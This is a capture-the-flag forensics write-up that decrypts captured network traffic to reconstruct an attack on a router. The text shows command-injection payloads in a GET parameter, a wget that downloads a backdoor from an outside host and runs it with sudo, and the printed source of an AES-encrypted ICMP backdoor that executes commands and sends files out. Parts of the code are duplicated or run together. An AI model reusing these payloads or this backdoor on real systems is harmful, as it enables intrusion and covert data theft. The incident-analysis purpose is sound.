Abuse Mail (300) - 62 solves Our abuse desk received an mail that someone from our network has hacked their company. With their help we found some suspected traffic in our network logs, but we can’t find what exactly has happened. Can you help us to catch the culprit?
we have 3 capture files abuse00.pcap, abuse01.pcap and abuse02.pcap. Starting with abuse00.pcap we can see we have some encrypted ESP packages and some telenet communication. Let’s check telenet’s packages:
Now we have the credentials to decrypt the ESP packages! using wireshark to decrypt them Edit -> Preferences -> Protocols -> ESP
After decrypting it we can see that the hacker used a remote command vulnerability at the GET parameter IP to upload a backdoor on the server. the commands he used:
GET /?ip=google.com HTTP/1.1 PING google.com (172.217.17.110) 56(84) bytes of data. 64 bytes from ams15s29-in-f110.1e100.net (172.217.17.110): icmp_seq=1 ttl=55 time=9.12 ms 64 bytes from ams15s29-in-f110.1e100.net (172.217.17.110): icmp_seq=2 ttl=55 time=8.86 ms 64 bytes from ams15s29-in-f110.1e100.net (172.217.17.110): icmp_seq=3 ttl=55 time=10.3 ms 64 bytes from ams15s29-in-f110.1e100.net (172.217.17.110): icmp_seq=4 ttl=55 time=8.06 ms
GET /?ip=google.com;ls HTTP/1.1 ING google.com (172.217.17.110) 56(84) bytes of data. 64 bytes from ams15s29-in-f14.1e100.net (172.217.17.110): icmp_seq=1 ttl=55 time=8.66 ms 64 bytes from ams15s29-in-f14.1e100.net (172.217.17.110): icmp_seq=2 ttl=55 time=9.44 ms 64 bytes from ams15s29-in-f14.1e100.net (172.217.17.110): icmp_seq=3 ttl=55 time=10.0 ms 64 bytes from ams15s29-in-f14.1e100.net (172.217.17.110): icmp_seq=4 ttl=55 time=8.44 ms
GET /?ip=;sudo%20-l HTTP/1.1 Matching Defaults entries for www-data on router: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on router: (ALL : ALL) NOPASSWD: ALL
GET /?ip=;id HTTP/1.1 uid=33(www-data) gid=33(www-data) groups=33(www-data)
GET /?ip=;wget http://10.5.5.207/backdoor.py -O /tmp/backdoor.py HTTP/1.1 --2017-07-26 09:43:36-- http://10.5.5.207/backdoor.py Connecting to 10.5.5.207:80... connected. HTTP request sent, awaiting response... 200 OK Length: 2428 (2.4K) [text/x-python] Saving to: '/tmp/backdoor.py' 0K .. 100% 458M=0s
import base64 import sys import time import subprocess import threading
from Crypto import Random from Crypto.Cipher import AES from scapy.all import *
BS = 16 pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) unpad = lambda s : s[0:-ord(s[-1])] magic = "SHA2017"
class AESCipher:
def __init__( self, key ): self.key = key
def encrypt( self, raw ): raw = pad(raw) iv = Random.new().read( AES.block_size ) cipher = AES.new( self.key, AES.MODE_CBC, iv ) return base64.b64encode( iv + cipher.encrypt( raw ) )
def chunks(L, n): for i in xrange(0, len(L), n): yield L[i:i+n]
def get_file(host, magic, fn): time.sleep(1) data = base64.urlsafe_b64encode(open(fn, "rb").read()) cnt = 0 icmp_threads = [] for line in chunks(data, 500): t = threading.Thread(target = send_ping, args = (host,magic, "getfile:{}:{}".format(cnt,line))) t.daemon = True t.start() icmp_threads.append(t) cnt += 1
for t in icmp_threads: t.join()
cipher = AESCipher(sys.argv[1])
while True: try: pkts = sniff(filter="icmp", timeout =5,count=1)
for packet in pkts: if str(packet.getlayer(ICMP).type) == "8": input = packet[IP].load if input[0:len(magic)] == magic: input = input.split(":") data = cipher.decrypt(input[1]).split(":") ip = packet[IP].src if data[0] == "command": output = run_command(data[1]) send_ping(ip, magic, "command:{}".format(output)) if data[0] == "getfile": #print "[+] Sending file {}".format(data[1]) get_file(ip, magic, data[1]) except: pass
GET /?ip=;nohup sudo python /tmp/backdoor.py K8djhaIU8H2d1jNb & HTTP/1.1
The hacker used AES to encrypt his commands! And we know the password he used! which we can get it from the GET HTTP request! which was K8djhaIU8H2d1jNb “GET /?ip=;nohup sudo python /tmp/backdoor.py K8djhaIU8H2d1jNb & HTTP/1.1”.
import base64 import sys import time import subprocess import threading
from Crypto import Random from Crypto.Cipher import AES from scapy.all import *
BS = 16 pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) unpad = lambda s : s[0:-ord(s[-1])] magic = "SHA2017"
classAESCipher:
def__init__( self, key ): self.key = key
defencrypt( self, raw ): raw = pad(raw) iv = Random.new().read( AES.block_size ) cipher = AES.new( self.key, AES.MODE_CBC, iv ) return base64.b64encode( iv + cipher.encrypt( raw ) )
defdecrypt( self, enc ): enc = base64.b64decode(enc) iv = enc[:16] cipher = AES.new(self.key, AES.MODE_CBC, iv ) return unpad(cipher.decrypt( enc[16:] ))
for packet in pkts: if str(packet.getlayer(ICMP).type) == "8": input = packet[IP].load if input[0:len(magic)] == magic: input = input.split(":") data = cipher.decrypt(input[1]).split(":") ip = packet[IP].src if data[0] == "command": output = run_command(data[1]) send_ping(ip, magic, "command:{}".format(output)) if data[0] == "getfile": #print "[+] Sending file {}".format(data[1]) get_file(ip, magic, data[1]) except: pass
With all this information we need to decrypt the packages from the other PCAPs, which contains the communication between the hacker and the server, we can use the hackers script and password! first lets extract the encrypted data with tshark!
def encrypt( self, raw ): raw = pad(raw) iv = Random.new().read( AES.block_size ) cipher = AES.new( self.key, AES.MODE_CBC, iv ) return base64.b64encode( iv + cipher.encrypt( raw ) )
# for packet in pkts: # if str(packet.getlayer(ICMP).type) == "8": # input = packet[IP].load # if input[0:len(magic)] == magic: # input = input.split(":") # data = cipher.decrypt(input[1]).split(":") # ip = packet[IP].src # if data[0] == "command": # output = run_command(data[1]) # send_ping(ip, magic, "command:{}".format(output)) # if data[0] == "getfile": # #print "[+] Sending file {}".format(data[1]) # get_file(ip, magic, data[1]) # except: # pass
# break # print(final)
#for i in range(0,301): # print(i, dicio[str(i)]) # for k,v in dicio.iteritems(): # print(k, base64.urlsafe_b64decode(v))
# print(base64.urlsafe_b64decode(final))
# if outp not in lis: # # print(outp) # print(numb) # lis.append(outp) # lis = sorted(lis) # for it in lis: # print(it)
dicio = {} lis = [] n = AESCipher(key2) infile1="encrypted1" with open(infile1) as f: strin = f.read().split('SHA2017:') strin = strin[1:] for i in range(0,len(strin),2): outp = n.decrypt(strin[i]) print outp
# The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters 10.29.0.1 router 192.168.1.1 router 192.168.1.2 intranet
command:nohup nmap intranet > /tmp/intranet.nmap command: command:cat /tmp/intranet.nmap command: Starting Nmap 7.01 ( https://nmap.org ) at 2017-07-27 09:48 PDT Nmap scan report for intranet (192.168.1.2) Host is up (0.00010s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https MAC Address: 00:0C:29:3D:FD:B0 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 1.52 seconds
command:cat /tmp/intranet.nmap command: Starting Nmap 7.01 ( https://nmap.org ) at 2017-07-27 09:48 PDT Nmap scan report for intranet (192.168.1.2) Host is up (0.00010s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https MAC Address: 00:0C:29:3D:FD:B0 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 1.52 seconds
command:cat /tmp/intranet.nmap command: Starting Nmap 7.01 ( https://nmap.org ) at 2017-07-27 09:48 PDT Nmap scan report for intranet (192.168.1.2) Host is up (0.00010s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https MAC Address: 00:0C:29:3D:FD:B0 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 1.52 seconds
command:cat /tmp/intranet.nmap command: Starting Nmap 7.01 ( https://nmap.org ) at 2017-07-27 09:48 PDT Nmap scan report for intranet (192.168.1.2) Host is up (0.00010s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https MAC Address: 00:0C:29:3D:FD:B0 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 1.52 seconds
command:curl -k https://intranet/ command: % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 456 100 456 0 0 4871 0 --:--:-- --:--:-- --:--:-- 4903 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>401 Unauthorized</title> </head><body> <h1>Unauthorized</h1> <p>This server could not verify that you are authorized to access the document requested. Either you supplied the wrong credentials (e.g., bad password), or your browser doesn't understand how to supply the credentials required.</p> <hr> <address>Apache/2.4.18 (Ubuntu) Server at intranet Port 443</address> </body></html> command:tcpdump -D command:1.ens33 [Up, Running] 2.ens39 [Up, Running] 3.any (Pseudo-device that captures on all interfaces) [Up, Running] 4.lo [Up, Running, Loopback] 5.nflog (Linux netfilter log (NFLOG) interface) 6.nfqueue (Linux netfilter queue (NFQUEUE) interface) 7.usbmon1 (USB bus number 1) 8.usbmon2 (USB bus number 2) command:tcpdump -i usbmon2 -w /tmp/usb.pcap command:tcpdump host intranet -w /tmp/intranet.pcap
As we can see we can extract alot of usefull Information from here, we now have the RSA private key used for TLS encryption and the certificate from the companies intranet website, the last 2 commands we could see that the hacker actually started two tcpdumps initiating the captures and one of them is a USB capture! maybe this will be useful latter! Usefull data extracted:
Now doing the same thing for the 2nd PCAP capture by adding this to the previous backdoor.py script:
1 2 3 4 5 6 7 8 9
infile1="encrypted2" with open(infile1) as f: strin = f.read().split('SHA2017:') strin = strin[1:] for i in range(0,len(strin)): outp = n.decrypt(strin[i]) print outp
We have alot of lines, the first line of the output gives us an hint of what are all those lines and we can see “getfile:/tmp/intranet.pcap” so if we extract all those strings after getfile:0:%s to the getfile:301:%s that string is enconded with base64 so we just needed to join them all and decode it since tshark is duplicating our data we actually had to extract 4 of them, but in reality it’s actually only two the intranet.pcap and the usb.cap (and yes! remember the IMCP decrypted packages? the hacker actually started 2 tcpdump commands!). Our final python script will be:
defencrypt( self, raw ): raw = pad(raw) iv = Random.new().read( AES.block_size ) cipher = AES.new( self.key, AES.MODE_CBC, iv ) return base64.b64encode( iv + cipher.encrypt( raw ) )
defdecrypt( self, enc ): enc = base64.b64decode(enc) iv = enc[:16] cipher = AES.new(self.key, AES.MODE_CBC, iv ) return unpad(cipher.decrypt( enc[16:] ))
# for packet in pkts: # if str(packet.getlayer(ICMP).type) == "8": # input = packet[IP].load # if input[0:len(magic)] == magic: # input = input.split(":") # data = cipher.decrypt(input[1]).split(":") # ip = packet[IP].src # if data[0] == "command": # output = run_command(data[1]) # send_ping(ip, magic, "command:{}".format(output)) # if data[0] == "getfile": # #print "[+] Sending file {}".format(data[1]) # get_file(ip, magic, data[1]) # except: # pass
# break # print(final)
#for i in range(0,301): # print(i, dicio[str(i)]) # for k,v in dicio.iteritems(): # print(k, base64.urlsafe_b64decode(v))
# print(base64.urlsafe_b64decode(final))
# if outp not in lis: # # print(outp) # print(numb) # lis.append(outp) # lis = sorted(lis) # for it in lis: # print(it)
dicio = {} lis = [] n = AESCipher(key2) infile1="encrypted1" with open(infile1) as f: strin = f.read().split('SHA2017:') strin = strin[1:] for i in range(0,len(strin),2): outp = n.decrypt(strin[i])
infile2="encrypted2" with open(infile2) as f: strin = f.read().split('SHA2017:') strin = strin[1:] for lin in strin: outp = n.decrypt(lin) numb = re.findall(r"getfile:([0-9]+).*", outp) outp = re.findall(r"getfile:[0-9]+:(.*)", outp) if numb != []: if dicio.has_key(numb[0]): dicio[numb[0]].append(outp[0]) else: dicio[numb[0]]=[outp[0]]
for j in range(0,4): final="" for i in range(0,301): try: final += base64.urlsafe_b64decode(dicio[str(i)][j]) except IndexError: break file = open('lol%d.pcap'%j,'wb+') file.write(final)
Now checking intranet.pcap we could see that we have more encrypted data but in this case was TLS, and then we remembered after we decrypted abuse2.cap we got our RSA.keys to decrypt these packages! so once again using wireshark to decrypt: Edit -> Preferences -> protocols -> SSL
Now seeing HTTP packages we can see that the hacker downloaded file secret.zip!
The zip file is protected by a password! now we either bruteforce the zip file (which was a very hard way to do it since the password was “somehow” complicated) or we needed to find it in our USB capture! which is a USB keyboard capture!
with open('usb.txt', 'r') as f: keys_lines = f.readlines() s = "" for key in keys_lines: if key.strip() == shift or key.strip() == ignore or key.strip() == ignore2: continue k=key.split(":") #print key == ignore, key == '02:00:00:00:00:00:00:00', key if k[0] == '02': #shift pressed if keys_dict[k[2]] == '2': s += '@' else: s += keys_dict[k[2]].upper() else: s += keys_dict[k[2]] print s